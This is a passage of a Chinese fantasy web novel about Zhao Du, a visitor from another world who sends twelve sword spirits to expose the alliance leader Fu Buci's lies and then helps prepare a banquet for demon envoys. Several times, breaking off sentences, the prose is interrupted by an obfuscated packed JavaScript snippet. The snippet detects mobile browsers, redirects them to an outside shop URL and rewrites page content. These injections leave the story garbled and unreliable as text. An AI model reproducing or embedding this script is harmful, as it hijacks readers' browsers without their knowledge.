但这个岑岭的心结是另一个朝渡,她可替代不了,解铃还须系铃人啊。 朝渡思索片刻,问另一个朝渡:“你想不想给他写封信?” “信?”另一个朝渡微怔。 朝渡点头:“把你想说的写进信里,道歉也好,说说自己最近的变化让他放心也好,我想办法交给他,顺带跟他聊一聊。” 朝渡手中凝出一张信纸,与一支带墨的毛笔:“有些话当面难开口,也许写出来会容易些。” “好。”另一个朝渡擦了擦泪,接过信纸和毛笔,将信纸铺在冰凉的翡翠地面上,提笔落下微颤的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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言掌门带着他的两个弟子围坐在屋内圆桌旁,其中一个弟子正在倒茶,只倒了三杯。 同样坐在桌边的朝渡不满道:“怎么不给咱俩倒茶?” 另一个朝渡忍不住轻笑。 言掌门从袖中取出一枚玲珑玉章,往桌上“啪”地一盖,瞬间有闪着星辰的光罩向四方散开。 言掌门轻咳一声:“这阵法虽然拦不住‘荧惑’,但挡住其他人的耳朵眼睛还是没问题的。” 一个弟子求知若渴地问:“那荧惑要是来了怎么办?” “还能怎么办?”言可指了指茶壶,“给人家倒杯水,请人家坐下呗。对了,我得把我的位置让给他,他一来,我就不配坐这了。” 朝渡轻笑:“言掌门太过客气,那倒是不用,我坐这就挺好。” 另一弟子跟着玩笑道:“师尊都得换位置,我跟玉沙是不是得站屋外?” 言可笑了笑:“只要他肯来,让我站屋外也行,我是真想见见那位能让天道偏爱之人……哎,你们那边,今夜情况如何?” 玉沙答道:“今夜那个假师尊观星,我看他就是盯着星星乱瞅!一会看看东,一会看看西!银砾你说是吧?” 银砾颔首:“那人完全不懂观星,只看了一小会,就说看到了荧惑的命星,说他是个大魔头,会给修仙界带来大劫,纯是胡编乱造!” 言可一声叹息,将杯中茶一饮而尽,跟喝酒一般,放下杯子再次长叹:“我也不知道这样是对是错,他们顶着我们观星宗的名号胡言乱语,若是真能帮到修仙界就算了,就怕……罢了,还有什么吗?” 玉沙又道:“那个假师尊说完荧惑的消息,盟主身边一个病秧子就劝盟主,让他不要再隐瞒。” “病秧子?”另一个朝渡蹙眉,“难道是宁长康那个缺德货?他又要搞什么损招?” 朝渡隐约有种不妙的预感。 言可也惊讶问:“让盟主不要再隐瞒什么?” 银砾答道:“他们说,其实昨天白天的浩荡天雷,是盟主修为又有所突破,昨天傍晚的剑仙出世,其实也是盟主!” 22. 送信 另一个朝渡愕然:“他们疯了吗?!” 朝渡怒极反笑。 言可也一脸无语:“要真是他,他昨天怎么不当场宣布?他是什么很谦虚的人吗?” 玉沙道:“盟主的意思是,自己不在意那些虚名,不想徒增应酬,所以本来不打算公布的,但如今有荧惑威胁修仙界,他才无奈公布,好安定人心。” “好一个不在意虚名,好一个无奈啊!”朝渡笑道,另一个朝渡满脸尴尬:“不辞他的脸皮是有点厚了……” 言可再次长叹:“这位盟主行事真是……咱们还是早些回观星宗吧,他这做法若是激怒了荧惑,再牵扯到我们观星宗就麻烦了。” 某“荧惑”倒是已经没什么怒意了,她只是在想,傅不辞,真的配当仙盟盟主吗? 就她目前所见,傅不辞沉迷酒色,修炼不勤,对待妻子下属不仁不义,穷奢极欲到建造出浮空的翡翠宫殿,贪名逐利到把天雷和剑仙名号都揽到自己头上来……这仅是她来此两日便看到的。让这种人当盟主,岂不是放任他危害修仙界? 她之前不愿激化与傅不辞的冲突,主动退让一步,怕的是修仙界人心涣散,妖魔鬼趁虚而入。 但这是建立在傅不辞作为仙盟盟主的前提下。 若他不配当这仙盟盟主,她或许不必再客气,换一位盟主,照样凝聚人心。 但,谁适合当下一任盟主? “你们俩快去休息,我们明日就回观星宗,这仙宫不是久留之地。”言可同两名弟子道,他忧心忡忡,“看天上星象,结合最近这些事,我感觉修仙界又要不太平了,现在只是个开始,唉。罢!都快回去休息吧!” 言可说罢,撤去阵法,三人离开主屋,各去休息。 朝渡指尖轻轻敲着桌面,思索时,眼角余光瞄到另一个自己低落消沉的神色。 “我们也回去吧。”朝渡笑了笑,站起来伸了个懒腰,“一会我再来找阿岭送信。” 另一个朝渡闷闷地点头。 朝渡带另一个朝渡回琴瑟宫,两人一路几乎无话。 朝渡能感觉到另一个自己明显心神不宁,能听到她心里想了很多,出现最多的词是“抱歉”和“我错了”。 她很后悔。 快到青云仙宫时,另一个朝渡忽然问:“你能帮我劝岑岭离开青云仙宫吗?” 朝渡:“哦?为何?”她们俩竟想到一块去了。 “他不该再留到这不干不净的是非之地。”另一个朝渡声音轻却坚定地道,“我走不了,但他还能走,趁一切都还来得及。” 她说着,望向不远处黯淡无光的琴瑟宫,眼中隐约有泪光闪烁:“这些年,我把自己弄得一团糟,也辜负了真心对我之人。我不能一错再错,我要尽力补救。” 朝渡举起她的手掌,跟自己的手掌相击。 “哎?这是?”另一个朝渡愣住。 朝渡弯起眼睛,笑道:“庆祝你迷途知返,庆祝我们所见略同,我也想劝阿岭离开这片泥沼。好啦,你回去好好休息一下吧,我去找他,一切交给我,放心。” 另一个朝渡先是面露欣喜,继而摇头:“我不休息,我要练剑!这些年,我已经错过太多,现在当抓紧时间。” 朝渡愈发欣慰:“好,我送你去偏殿。” 朝渡把另一个朝渡送到琴瑟宫偏殿练剑后,熟练地飞上屋顶,沿着屋脊漫步于星光之下,不急不缓地朝着见月院行去。 岑岭负责护卫言可,现在应该还在见月院,不着急。 倒是下一任盟主的选择,她心中一时敲不定人选。 在她原本的世界里,她飞升后,担任仙盟盟主的是游藏。 游藏本身不擅长修炼。别人是族中百年一见的天才,她却是族中百年一见的废物。 但她正应了名字中的“藏”字,百年里藏尽锋芒,直到修仙界大乱,游家精英几乎死尽,轮到她出来挑大梁时,世人才恍然发现她虽不善修炼,却如此博学多识,沉稳可靠,为人处世令人敬佩,才知她几十年间帮忙打理游家诸多事务的同时,遍阅典籍,广学诸门诸派,更自创一攻一守两招绝学。 但朝渡还不曾见过这个世界的游藏,她有些担心,这个世界里的游藏会发生巨大的变化。 ‘有空了去见见她。’朝渡琢磨着,又想起一件事。 既然傅不辞不配当盟主,她也不必再退让,那她可得跟他算算账了。 朝渡轻扬嘴角,心中已有了主意。 再走几步,见月院已在眼前,朝渡仔细寻找岑岭在哪,发现他还在二楼顶的宽阔平台上,一个人站在翡翠栏杆前,呆望着繁星不知在想些什么。 都不用把他引出来,因为只有他手中的剑与他身后的影子默默与他相伴。 朝渡一声轻叹,御风飞至平台上,打了个响指,展开隐匿阵法,瞬间将整个方形平台笼罩。 下一瞬,岭峻剑已经向她袭来,随后却又紧急刹住。 “……怎么是你?你怎么在这?!” 岑岭震惊问,随即目光却越来越严厉冷峻,甚至多了几分怒意,他用剑指着朝渡,冷声质问:“你不是她,你是谁?!” 朝渡微笑:“跟你一样,想带她离开这青云仙宫之人。” 岑岭愣住,随即陡然意识到:“你听到了?!”可他竟全无察觉! 岑岭瞬间想起了一个名字,一个极擅隐身,且与朝渡有巨大关联的名字。 “难道你是……荧惑?!” 朝渡挑了挑眉,不满道:“你姑且先当我是荧惑吧,以后我会找傅不辞算账的。对了,其实不光我听到了,她也听到了。” 岑岭嗓音微颤:“你说的她,难道是……” “朝渡。”朝渡取出折好的信,夹在指尖递向他,徐徐善诱道,“先看看这封信?她写给你的。” 岑岭瞬间夺过信,又冷冷道:“你先把这张脸换了!” 朝渡:“好好好,马上换,你先看,快看。”看完就不催她换了。 岑岭一手继续拿剑指着朝渡,一手微微颤抖地打开信,紧张又认真地读起信。 “她都知道了……什么叫另一个我?”岑岭不解地抬头看向朝渡,随即领悟到了什么,“难道是你?信?!” 信忽然在他手中化作了一小捧齑粉,随风散去。 “抱歉,信里的内容不方便给外人看,以防万一。”朝渡解释,又指了指自己,“那个人是我,我与她本质上是一个人,这就是我本来的脸。” 岑岭抬起头打量她,愈发疑惑:“两个人,如何是一个人?” 朝渡望向夜幕银河:“因为我来自另一个与这里很相似,又不一样的世界。在那里,我与你其实是多年好友,我们经常一起切磋剑法。” “另一个世界?”岑岭望着朝渡,不可思议地喃喃道,“我们是多年好友,还经常一起切磋剑法?这不可能!” 朝渡侧头望向他,轻笑:“有什么不可能?要现在来试试吗?” 朝渡唤出千钧剑,横于身前,雪白的衣袖随风轻扬,星辉悄悄落满她的发梢衣袖,而她含笑的眼睛比漫天繁星更明亮璀璨。 她笑吟吟道:“虽然我现在力量被压制了,但我很熟悉你的月相剑法,可未必会输哦?” 岑岭的心跳不自觉地快了,无需切磋或者其它佐证,他已经信了,信她是另一个她。 因为此时的她,与多年前他第一次见到的她,何其相似。 如果说当年的她像一枚月牙儿,眼前的她就像一轮满月,褪去青涩茫然,如此明亮,从容自在地将月华洒满天地间。 “对了,昨天闯过待仙塔第十层的剑仙,也是我和另一个我哦。”朝渡补充道,“跟傅不辞没有半点关系。” 岑岭先是惊讶,又觉得理所应当。 她便理应如此明亮。 岑岭忍不住问:“你与她既然是一个人,为何现在有这么大的区别?” 朝渡轻叹:“这个我也想知道,目前还不确定,对了,她还让我劝你,离开青云仙宫吧,这里不适合你。现在有我在这帮她,你大可以放心回去练剑,你现在的修为跟另一个世界的你比起来有点低哦。” “有点低?”岑岭的脸颊渐渐红了,他咬了咬唇,羞窘道,“这几年我确实进步缓慢,师尊说我心有障碍,他让我离开青云仙宫,回到千山派闭关一段时日,但是我不放心她一个人在这里……我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朝渡回到青云仙宫,同另一个朝渡聊了刚才送信的情况, “岑岭明天就会走吧?可惜我不方便过去送他。”另一个朝渡叹道。 朝渡安慰道:“无妨,以后还有再见的机会。” “好!但愿他闭关修炼成功。”另一个朝渡握紧了剑,“下次再见,我一定要当面道歉,也让他看看我的改变。” 朝渡笑着点头,她的精神头很好,让人很放心。 “对了,关于不辞冒领天雷和剑仙名号这事,你打算怎么办?”一提到傅不辞,另一个朝渡的神色就低沉了些,她小心翼翼地问,“我感觉你那时候有点生气。” 朝渡:“唔,倒也不全是生气,只是在想……怎么敲打敲打傅不辞。”朝渡斟酌着词句。 另一个朝渡竟欣喜道:“那太好了!是该敲打敲打他了!用力点敲!” 朝渡:“哎?”这么支持我的吗?! 另一个朝渡点头:“不辞他自从当了盟主,越来越……放纵自己了,你敲打他,让他收敛些,反思反思自己,也是对他好。” 朝渡:“唔,这么理解也可以。”不过傅不辞真的能迷途知返,及时悔改吗? 总之,她目前跟另一个自己达成了一致。 朝渡:“那我准备一下‘锤子’。” “锤子?!”另一个朝渡震惊,“原来是这样直接敲打吗?!” 朝渡失笑:“没那么直接。此‘锤子’非彼锤子。” 她张开手臂,十二柄来自待仙塔第九层,闪着寒光的神兵利剑整齐排布于她身前。 “去吧。”朝渡一挥袖,十二柄剑化为十二道流光,眨眼间向四面八方散出去,在飞出偏殿后瞬间消失得无影无踪。 “你这是打算……?”另一个朝渡没看明白。 朝渡笑着眨了眨眼:“等明天你就知道了。” 到了明日,不但她知道,傅不辞知道,满修仙界的人也都会知道。 傅不辞,今晚好好休息吧,明晚你或许就睡不着了哦? 23. 十二剑 朝渡将十二柄剑散出去后,继续打坐修炼,她这两天恢复的灵力还没捂热乎,大部分都散在刚才十二柄剑上了。 不过好消息是,她在散出那十二柄剑后,明显感觉天道对她的压制又少了些。 此方天道还真是有趣…… 朝渡打坐修炼恢复灵力,另一个朝渡勤勤恳恳地继续练剑,两人一夜没歇,第二天早上却都更精神了。 两人相视一笑,有种无言的默契。 太阳初升时,另一个朝渡打开窗通风,金色的光线迫不及待地涌进屋里,清爽的晨风也不甘落后,挤进了房间的每个角落。 这是朝渡来到这里的第三天。 她看似在闭着眼专心打坐,实则在通过这十二柄剑观察这方世界。 这十二柄剑,是她的使者,也是她的眼睛。 ………… 剑光城,外号剑痴城,城中多剑修门派,既以高手多出名,也以呆子多、不解风情出名。 曜灵剑隐匿身形进了城,随后很快就跟着直觉找到了城中最热闹的地方:试剑比武台。 此台建在城中心,每天都有各门各派的剑修弟子排着队等切磋,还有更多弟子在围观,边围观边议论着什么。 曜灵剑解除了新主人独创的特殊隐匿之法,还没等靠近论剑比武台,几乎瞬间就被附近的剑修包围了。 几个剑修望着她窃窃私语道: “身着轻甲,发若白雪,眸若赤金……她怎么那么像剑谱里记载的曜灵剑剑灵啊?” “感觉真的是曜灵剑,周围忽然热了很多,这也是曜灵剑的特征之一!毕竟曜灵就是太阳嘛!” 其中一个大着胆子靠近她,激动问:“请问您是曜灵剑的剑灵吗?” “正是。”曜灵剑剑灵颔首,召出曜灵剑,抽剑出鞘,一时热浪滚滚扑面,让人仿佛置身盛夏的正午时分——这还是她已经压制了剑气的结果。 “啊!我的剑忽然好烫!”有前排的围观剑修忽然惊呼。 “我的剑也是!什么情况?” “快看后面那个人手里的剑!白玉鞘,赤金剑……难道是曜灵剑?!” 哗啦啦,几乎瞬间,城中心所有的剑修都涌了上来,连论剑比武台上正在比试的两人都翻出台子,激动地向着曜灵剑冲了过来。 这些剑修将曜灵剑重重包围,灼灼目光让周围更热上几分。 但他们没有一个人伸出手或靠得太近——身为剑修,自是爱剑尊重剑之人,尤其剑的剑灵就在此处,更要给她留个好印象!万万不可莽撞行事! 而且曜灵剑周身气势强得可怕,没人想试试惹恼她会有什么样的后果。 挤挤攘攘的人群中,有人殷切问:“曜灵剑怎么突然大驾光临?要来我们乘风门坐坐吗?” 其他人当即不满:“喂,你们乘风门多久没当过剑光城剑首了,曜灵剑要来也是来我们流星派!” “你们流星派就配了?要不跟我们掠影宗的来切磋切磋!” 不一会,一群人吵嚷着就要比试起来。 “让曜灵剑看看谁才是剑光城最强的剑修门派!” “喂,你们大师姐怎么过来了,那我得让我们大师兄过来!” “可恶啊咱们的大师姐出门历练去了,师兄,要是把咱们长老叫过来的话是不是有点欺负人了?” 曜灵剑:“……”挺有活力的一群小辈,但是没一个说到点上的。 “曜灵剑您好!冒昧一问,根据剑谱记载,您之前一直被收藏于待仙塔第九层,可是盟主前两日将您带了出来?今日出现在这里是有什么要事吗?” 终于有一个剑修问到了关键问题,曜灵剑对她微微一笑,答道:“带我出塔之人并非盟主,天雷所迎,万剑所鸣,皆是我家宗主。” 周围霎时安静了,随后是此起彼伏的惊呼声: “不是盟主?” “居然不是盟主?!” “他骗我们?!” “敢问曜灵剑所提宗主是……?” 曜灵剑颔首:“仙隐宗,夕溯。” 曜灵剑语毕,原地消失,周围的灼热感也跟着消散。 收到弟子传信匆忙赶来的各门派掌门和长老,没一个赶得及看到曜灵剑的,各个痛心疾首,长叹连连。 ………… 濯天剑来到了百草城。 这是一座聚集了众多医修的城,城内有回春阁、杏林苑等数个知名医修门派。 身穿云纹青衣,头戴竹编斗笠的少年走在百草城最热闹的春盎街上,听来来往往的几乎每个修仙者都在热议昨夜的数个重大消息: 观星宗掌门夜观天象,推算出魔修荧惑将祸乱修仙界,盟主傅不辞被迫公开前两日的天雷是因自己修为突破而起,通过待仙塔第十层的剑仙亦是他。 连在一起就是:盟主修为又有精进,区区魔修荧惑不足挂齿。 濯天剑笑而不语,打量起街头一家十分热闹的茶馆,随后走了进去。 茶馆里已经没位置了,甚至有好几个人站着,他们端着茶杯兴奋交流着,看来没位置也不耽误他们聊天的兴致。 几个店员更是忙得团团转,一边给各桌送本店的特色滋补灵茶,一边支棱着耳朵听消息,他们嘴也没闲着,时不时跟着客人聊几句。 有一个终于注意到濯天剑了,上前不好意思道:“抱歉客官,本店实在没座位了,连小凳子都用完了,您看这……” “无妨。”濯天剑挥了挥手。 “那本店送您一杯茶!您稍等,说不定一会就有座位了!”店员很快端来了一杯灵气四溢的茶。 濯天剑接过茶,挑了张人最多的桌子,站在一旁,饶有兴趣地听这桌人议论纷纷: “听闻魔修荧惑本事不小,修仙界怕是要有大乱了!” “真倒霉,还没安生几年。” “咱们百草城不会变成当年锦绣城那样吧?太吓人了!” “要不去外头找个山洞躲一段时间?权当闭关修炼了。” “医修也用闭关修炼?” “但咱们盟主更厉害啊!那天的天雷你见到没?那阵仗,得是将要飞升之人才能有的吧?!” “对对,还有那天的剑仙出世,那霞光千丈!把晚上照得煌煌如白昼啊!” “切,你们真信是他啊?那他怎么不当天说?” “你不信?那你说除了盟主,还有谁有本事能引动那样的天雷,能一天之内通过待仙塔第十层?难道你行?” “我肯定不行,但说不定是有什么隐居避世的厉害大能呢!” “这位兄台说得对。”濯天剑笑着开口,将自己的本体唤出,出鞘一寸。 霎时清辉浮动满屋,一时间所有的议论声都停了下来,满屋人齐刷刷地看向青衣少年剑客和他手中的剑。 “我家宗主夕溯,确实隐居避世多年。”濯天剑轻笑道。 先是一阵寂静,继而逐渐有人反应过来。 “你的意思是,天雷和剑仙,都与你家宗主有关?” “夕溯是谁?从来没听说过。” “这是个骗子吧?但他手里这剑确实不错。” “等等,你的剑是……” “青鞘云纹,如此清辉,难道这是濯天剑?!” “濯天剑?剑谱上排名第六,藏在待仙塔第九层的那柄?!” “正是。”濯天剑微微抬头,“待仙塔第九层所藏十二柄名剑,皆已归我家宗主所有,傅盟主声称自己也通过了待仙塔第十层,不知可有何证明?” “十二柄?!” “天啊——!那可剑谱上排名前列的绝世名剑啊!” 人群响起一片惊呼声。 其中几个人面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627363|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面相觑:“对哦,确实没听说盟主他拿了什么剑,难道真的不是盟主?” 有一人不确定道:“不能吧,盟主还骗人?” “能让我看一下濯天剑吗?”还有几个人凑近濯天剑,盯着他手里的剑满眼放光。 “我也想看!” “也让我瞧瞧!” 他们说着说着还把手伸向了濯天剑。 濯天剑眉梢一挑,把本体完全收回鞘,将满当当的茶杯往桌上一放,手将斗笠压低了点,随即瞬间消失。 一群人愣住回神后纷纷看向四周: “他人呢?” “去哪了?!” “一眨眼的功夫居然没了?” “我连眼都没眨!他瞬间连个影都没了!” 还有人跑到茶馆二楼去找,也有人跑到茶馆外的街道上,却怎么都找不到那青衣剑客的身影。 茶馆内剩下的人议论纷纷: “怎么能瞬间消失得无影无踪啊?” “居然一点气息都没留,这是什么独门秘法?” “都怪你们几个非要看濯天剑,给人家吓跑了!” “你没看吗?” “可你们不光看还想摸啊!” “那可是大名鼎鼎的濯天剑啊!摸一下我这辈子都不用洗手了!” “倒也不用……” “都怪这小子忒小气!” ………… 十二柄剑,十二座城。 关于天雷、剑仙、仙隐宗、夕溯等的消息如风般散开,半日之内已传遍修仙界。 等消息被属下匆匆传给傅不辞时,再阻止早已来不及。 而且他刚刚收到了来自妖族使者的觐见请求,现在这消息大概也传到妖族使者耳中了,一会见不见,怎么见也是个问题。 更令他怒不可遏的是,眼前还有个不识相的: “请盟主准许我回去闭关!”岑岭态度坚决地请求道。 傅不辞冷笑:“你若是这个时候走了,以后也不必再回来了!六仙侍中也没有你的位置了!” 岑岭沉默片刻,再次坚定道:“请盟主准许我回去闭关!” “好,好极了!”傅不辞点点头,冷笑,“滚出青云仙宫!以后不要让我见到你!” 岑岭脊背笔直地转身离去,看起来竟无半点不舍后悔之意,甚至步伐还有点轻快的感觉。 “真是不堪重用!”傅不辞厌烦地拧了拧眉,随后安排,“让游藏、宁长康和苏柔蕊都过来!立刻!” …… 片刻后,六仙侍中的三位齐聚在傅不辞的书房。 傅不辞没好气地拍了拍翡翠书案,上面是属下汇报的关于仙隐宗和夕隐的密函,还有妖族使者的拜帖。 “自己看吧,还有,岑岭滚了,六仙侍空缺一位,有推荐的吗?”傅不辞深吸一口气又缓缓呼出,岑岭这柄剑很锋利很好用,他剑法卓越而且出身名门,很能提升他的名望,想换一把更好的剑并不容易。 游藏先将消息和拜帖看完,递给了一脸病容的宁长康,苏柔蕊在等候中诧异问:“岑岭怎么突然要走?” 傅不辞冷笑:“说是想回去闭关修炼,大抵是昨天被荧惑吓破了胆,不堪重用的蠢东西。” “不过现在我们总算知道荧惑的真实名字了。”宁长康看完消息,“啧啧”道,“仙隐宗,夕溯,藏得真深啊,咳咳咳,我竟从未听说过。游副盟主,你最是博学多识,听说过吗?咳咳。” 游藏一番思索,缓缓摇头,目光中也有疑惑:“这门派,竟未在我看过的典籍中留下半句记载,也不曾听任何人提起过。若隐居避世如此,那又为何这个时候忽然出山?” “连游副盟主都没听说过,这就更有趣了咳咳咳——”宁长康一边咳嗽着,一边眯起眼睛,“隐居避世到这种程度,它简直像从未存在过。” 24. 宴会 “从未存在过……?你是说,这可能是个假门派?”傅不辞一番思索,点了点头,“竟有几分道理。但如此一来,岂不是仍然对他一无所知?!连夕溯这个名字也可能是假的!” 宁长康咳嗽着,笑吟吟道:“至少把他逼出来了一部分,咳咳咳咳,接下来可以再引诱一番,让他露出更多马脚。” “哦?要如何引诱?”傅不辞来了兴趣。 宁长康眯起眼睛,抖了抖手里的密函,笑得像只狐狸:“盟主英明,晚这一天才公布消息的作用不就出来了吗——此人可堪大用,但过于谦虚,不肯露面,盟主惜才,且有荧惑大敌当前正是用人之时,盟主才不得不出此下策,引此人出面,接下来,再以重金和地位引诱此人:若他愿意加入仙盟,直接授予长老之位,灵石百箱,对了,六仙侍这不也刚好空出来一个名额。” 宁长康笑得意味深长:“重赏之下,他还能藏多久?” 傅不辞也笑了笑,目光颇为赞许:“就这样办!游藏,具体交给你来做。” 游藏皱着眉,一时沉默不应。 “游藏?”傅不辞不悦道,“你还有什么想法吗?” 游藏颔首,缓缓道:“我仍然不解,此人隐居避世多年,为何偏要在这个关头出来?他目的不明,真的会被利益地位所诱吗?” 傅不辞看向宁长康,后者悠悠笑道:“若他干这些事,就是为了把自己的身价再提一提呢?咳咳咳,要不然谁知道这个人啊,籍籍无名者想进仙盟,门都没有!咳咳咳——” 游藏:“……” 宁长康咳完了又继续道:“另外,不管他上不上钩,咳咳,这样做至少帮盟主解释了天雷和剑仙的事,也把咱们盟主惜才之英名给宣扬出去了。” 傅不辞满意地点了点头:“游藏,就按长康说的去做吧。” 游藏:“……是。” “然后就是妖族使者的事。”傅不辞把妖族使者的拜帖从苏柔蕊手中抽了出来,拍到桌案上,敲了敲,“你们怎么看?” 宁长康没怎么犹豫地道:“妖族一向觊觎修仙界,咱们修仙界稍微露出一点不对劲的苗头,这群狗东西闻着味就来了,这次要接待,还得好好接待,不能露半点怯!要不然后面更麻烦!” 游藏颔首:“赞同,要让妖族使者看到修仙界稳如问玄山,只是夕溯此人……但愿他对灵石和仙盟长老的位置有兴趣。否则,他的目的实在让人担忧。” “他会的。柔蕊,宴会交给你布置。”傅不辞吩咐苏柔蕊,“时间定在今晚戌时初,这次宴会很重要,不能有半点差池。” 苏柔蕊柔柔行礼:“是,不过仙君,半天时间筹备宴会有点紧……” “做不了就换人。”傅不辞不耐烦道。 宁长康抱着胳膊站在旁边,一副看热闹的模样。 游藏叹道:“从我这调点人给苏仙侍吧,还有宴会的守卫布置,也由我来负责。” 苏柔蕊感激地看向游藏:“多谢副盟主!” 宁长康倒是拧起眉,略有不满的样子。 “行了,既然时间紧,那就赶紧去干吧。”傅不辞挥了挥手,三人退出书房,离书房到院落出口,还有一段路,三人不得不同行。 路上,宁长康讽笑道:“游副盟主真是个热心的大好人啊,咳咳咳。” 游藏淡淡道:“同为六仙侍,自该互相帮助。此宴关系仙妖的未来,更要竭力办好。” 苏柔蕊白了宁长康一眼,柔声讽道:“宁仙侍还是多关心自己的身体,少说些损话,兴许还能少咳嗽几声,多活上几天,要是说多了,那就不好说了。” “哦?”宁长康笑着眯起眼打量苏柔蕊,“苏仙侍的骨头什么时候变硬了?柔花仙子要变硬花仙子了?这么硬的骨头,晚上可别扎着盟主啊。” 院门口到了,苏柔蕊冷笑一声,懒得再搭理他,向着左侧琴瑟宫的方向走去。 游藏走向右侧,那是离开青云仙宫的方向。 宁长康本来也应该往右走,最后却径直往前走。 三个人走了三个方向。 …… 琴瑟宫偏殿里,已经有剑灵陆续回来了。 朝渡跟他们谈笑着他们今天在外界的见闻,顺带检查了他们有没有被跟踪或者定位。 片刻后,朝渡总结道:“很顺利,没有任何问题,各位辛苦了!” 十二柄剑化为灵力被她收到袖中。 旁观的另一个朝渡松了口气:“接下来就看不辞那边要怎么应对了。” 忽然有人敲了敲偏殿的门,另一个朝渡去开门。 门外是回心,她忧心道:“夫人,苏仙侍又来了,说想见您!” 另一个朝渡偷偷瞄了眼朝渡,见朝渡点头,她不情不愿地对回心道:“让她过来吧,就来这。” 片刻后,苏柔蕊走进偏殿,侍女皆留在了门外。 她环顾四周,惊讶道:“朝夫人如今住这里?这怎么连个服侍的人都没有?” 另一个朝渡克制不住地冷笑:“比不得你娇贵。” 苏柔蕊停下脚步,望着她微笑:“其实我不是来见你的。” 另一个朝渡:“你是不是有病,那你过来……” “夕溯在这对吧?”苏柔蕊面带微笑地打断了她。 “夕溯?哦!夕溯!”另一个朝渡扭头看向不远处的朝渡,“她找你,那我就先走了。” 朝渡现了身,无奈道:“客人在这,主人却走了,这不合常理,让别人看到容易起疑心。” “……行吧。”另一个朝渡翻着白眼望向天花板,“那我陪你们聊。”那个“陪”字被她说的咬牙切齿。 “不过我去另一边清静清静总行吧?”另一个朝渡又问。 朝渡:“没问题。” 另一个朝渡气冲冲地走到了另一边最尽头的房间。 朝渡轻叹,苏柔蕊笑道:“朝夫人的精神头看着比前些时日好了不少,步子都比原来稳健有力不少。” “确实有进步。”朝渡笑着摇了摇头,“只可惜还有心结未解,对了,你来这里有何事?” 苏柔蕊道:“今天早上,岑岭走了,连六仙侍也不做了。” 朝渡点了点头:“那挺好。” “你好像并不惊讶。”苏柔蕊打量朝渡的神色,试探问,“难道他离开这里也与你有关?” 朝渡懒得瞒:“他也是我的好友之一。” 苏柔蕊惊讶:“原来如此,我就说为何如此突然……不过他们想让你做六仙侍。” “?”朝渡一愣,忍不住笑了起来,“傅不辞失心疯了吗?” 另一个朝渡悄悄从最尽头的房间靠近了过来。 苏柔蕊将刚才在书房发生的事告诉朝渡。 “六仙侍,仙盟长老,百箱灵石,他们觉得我在乎这些?”朝渡轻笑,“他们想得有点美了。” 苏柔蕊忍不住问:“那你在乎什么?你的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人偶尔互相冷嘲热讽两句,演得很像。 但朝渡感觉她们不像纯演的,这些冷嘲热讽里面至少有三分是真心在骂,但是罢了,冰冻三尺非一日可解,现在这样已是极大的进步了。 两人互相嘲讽归嘲讽,合作很顺利,宴会准备进展颇快,直到傅不辞忽然过来——大约是有人偷偷给他传话说朝渡也在这里。 傅不辞一过来,就怒气冲冲地对苏柔蕊呵斥:“此宴至关重要,把你那些小心思收起来!朝渡,回去!别来添乱!” “……”另一个朝渡无措地站在那里,望着傅不辞说不出一句话来,拼命忍着泪,才不让它们当众掉下来。 苏柔蕊却走到她身旁,语气温柔又坚定地回答傅不辞:“我正是为了这场至关重要的宴席,才邀请朝夫人过来。第一,上次与妖族的和谈宴席正是由朝夫人筹备,中间没有任何过错,还倍受妖族称赞,朝夫人的经验能更好保证此次宴席不出差错,第二,朝夫人身为盟主夫人,这场宴席理应参加,若不参加,反倒容易引起妖族使者的议论。” 另一个朝渡看向苏柔蕊,神色深深震动。 傅不辞眯了眯眼睛,唤她全名:“苏柔蕊,你好像不太一样了。” 25. 妖族使者 苏柔蕊抬起头,一副情真意切的模样望着傅不辞:“我没有半点改变,我所做的一切都是为了这场宴会能顺利举办,都是为了仙君!” 她还咬了咬唇,露出了几分委屈可怜的模样:“要不然我才不受这份委屈……都是仙君反复强调,这场宴会不能出半点错,我才,我才……” 傅不辞终于满意地笑了起来:“不错,很上心,等这场宴会结束,我重重有赏。” 苏柔蕊俯身行礼,又抬起头柔媚娇笑:“多谢仙君~” 另一个朝渡:“……”五味杂陈。 傅不辞又看向另一个朝渡,不耐烦道:“你既然来了,就好好帮忙,别添乱,柔蕊说得有道理,今晚宴会你也来。” 另一个朝渡十分勉强地笑了笑:“是。” 傅不辞满意地走了。 仙缘殿重新忙碌起来,只是另一个朝渡神情沉闷,无精打采。 隐身的朝渡走到她身旁,拍了拍她的肩:“宴会准备得差不多了,出来走走吧,对了,也该准备下今晚宴会要穿的衣服了。” 另一个朝渡同苏柔蕊打了个招呼,走出仙缘殿,回到琴瑟宫。 一进自己的寝屋,另一个朝渡就挥退所有侍女,把门锁上。 